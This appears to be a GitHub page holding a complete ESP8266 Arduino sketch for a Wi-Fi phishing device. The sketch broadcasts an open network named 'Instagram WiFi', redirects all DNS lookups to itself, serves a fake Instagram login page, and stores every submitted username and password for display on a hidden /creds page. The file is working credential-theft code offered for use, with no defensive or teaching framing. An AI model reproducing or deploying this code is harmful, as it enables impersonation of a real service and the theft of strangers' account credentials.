-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcode
112 lines (99 loc) · 4.7 KB
/
code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
// User configuration
#define SSID_NAME "Instagram WiFi"
#define SUBTITLE "You can only use Instagram with this free WiFi."
#define TITLE "Log in to Instagram"
#define BODY "Enter your Instagram credentials to log in."
#define POST_TITLE "Validating..."
#define POST_BODY "Your account is being validated. Please wait for the connection."
#define PASS_TITLE "Credentials"
#define CLEAR_TITLE "Cleared"
// Init System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(172, 0, 0, 1); // Gateway
String Credentials = "";
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer;
ESP8266WebServer webServer(80);
String input(String argName) {
String a = webServer.arg(argName);
a.replace("<", "<");
a.replace(">", ">");
a.substring(0, 200);
return a;
}
String footer() {
return "</div><div class=q><a>© All rights reserved.</a></div>";
}
String header(String t) {
String a = String(SSID_NAME);
String CSS = "article { background: #ffffff; padding: 1.3em; }"
"body { color: #262626; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 18px; margin: 0; padding: 0; }"
"div { padding: 0.5em; }"
"h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
"input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 4px; border: 1px solid #dbdbdb; }"
"label { color: #8e8e8e; display: block; font-style: italic; font-weight: bold; }"
"nav { background: #ffffff; color: #262626; display: block; font-size: 1.3em; padding: 1em; }"
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
"button { background-color: #3897f0; border: none; color: white; padding: 10px 15px; text-align: center; text-decoration: none; display: inline-block; font-size: 14px; margin: 4px 2px; cursor: pointer; border-radius: 4px; }";
String h = "<!DOCTYPE html><html>"
"<head><title>" +
a + " :: " + t + "</title>"
"<meta name=viewport content=\"width=device-width,initial-scale=1\">"
"<style>" +
CSS + "</style></head>"
"<body><nav><b>" +
a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
return h;
}
String creds() {
return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}
String index() {
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" +
"<label for=\"username\">Username:</label> <center><input type=text autocomplete=username name=username></input></center>" +
"<label for=\"password\">Password:</label> <center><input type=password name=password></input><br><br><center><button type=submit>Log in</button></center></form></center>" + footer();
}
String posted() {
String username = input("username");
String password = input("password");
Credentials = "<li>Username: <b>" + username + "</b></br>Password: <b>" + password + "</b></li>" + Credentials;
return header(POST_TITLE) + POST_BODY + footer();
}
String clear() {
Credentials = "";
return header(CLEAR_TITLE) + "<div><p>The credentials list has been cleared.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}
void BLINK() { // The internal LED will blink 5 times when a password is received.
int count = 0;
while (count < 5) {
digitalWrite(BUILTIN_LED, LOW);
delay(500);
digitalWrite(BUILTIN_LED, HIGH);
delay(500);
count = count + 1;
}
}
void setup() {
bootTime = lastActivity = millis();
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
WiFi.softAP(SSID_NAME);
dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP)
webServer.on("/post", []() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); });
webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds()); });
webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear()); });
webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index()); });
webServer.begin();
pinMode(BUILTIN_LED, OUTPUT);
digitalWrite(BUILTIN_LED, HIGH);
}
void loop() {
if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); }
dnsServer.processNextRequest();
webServer.handleClient();
}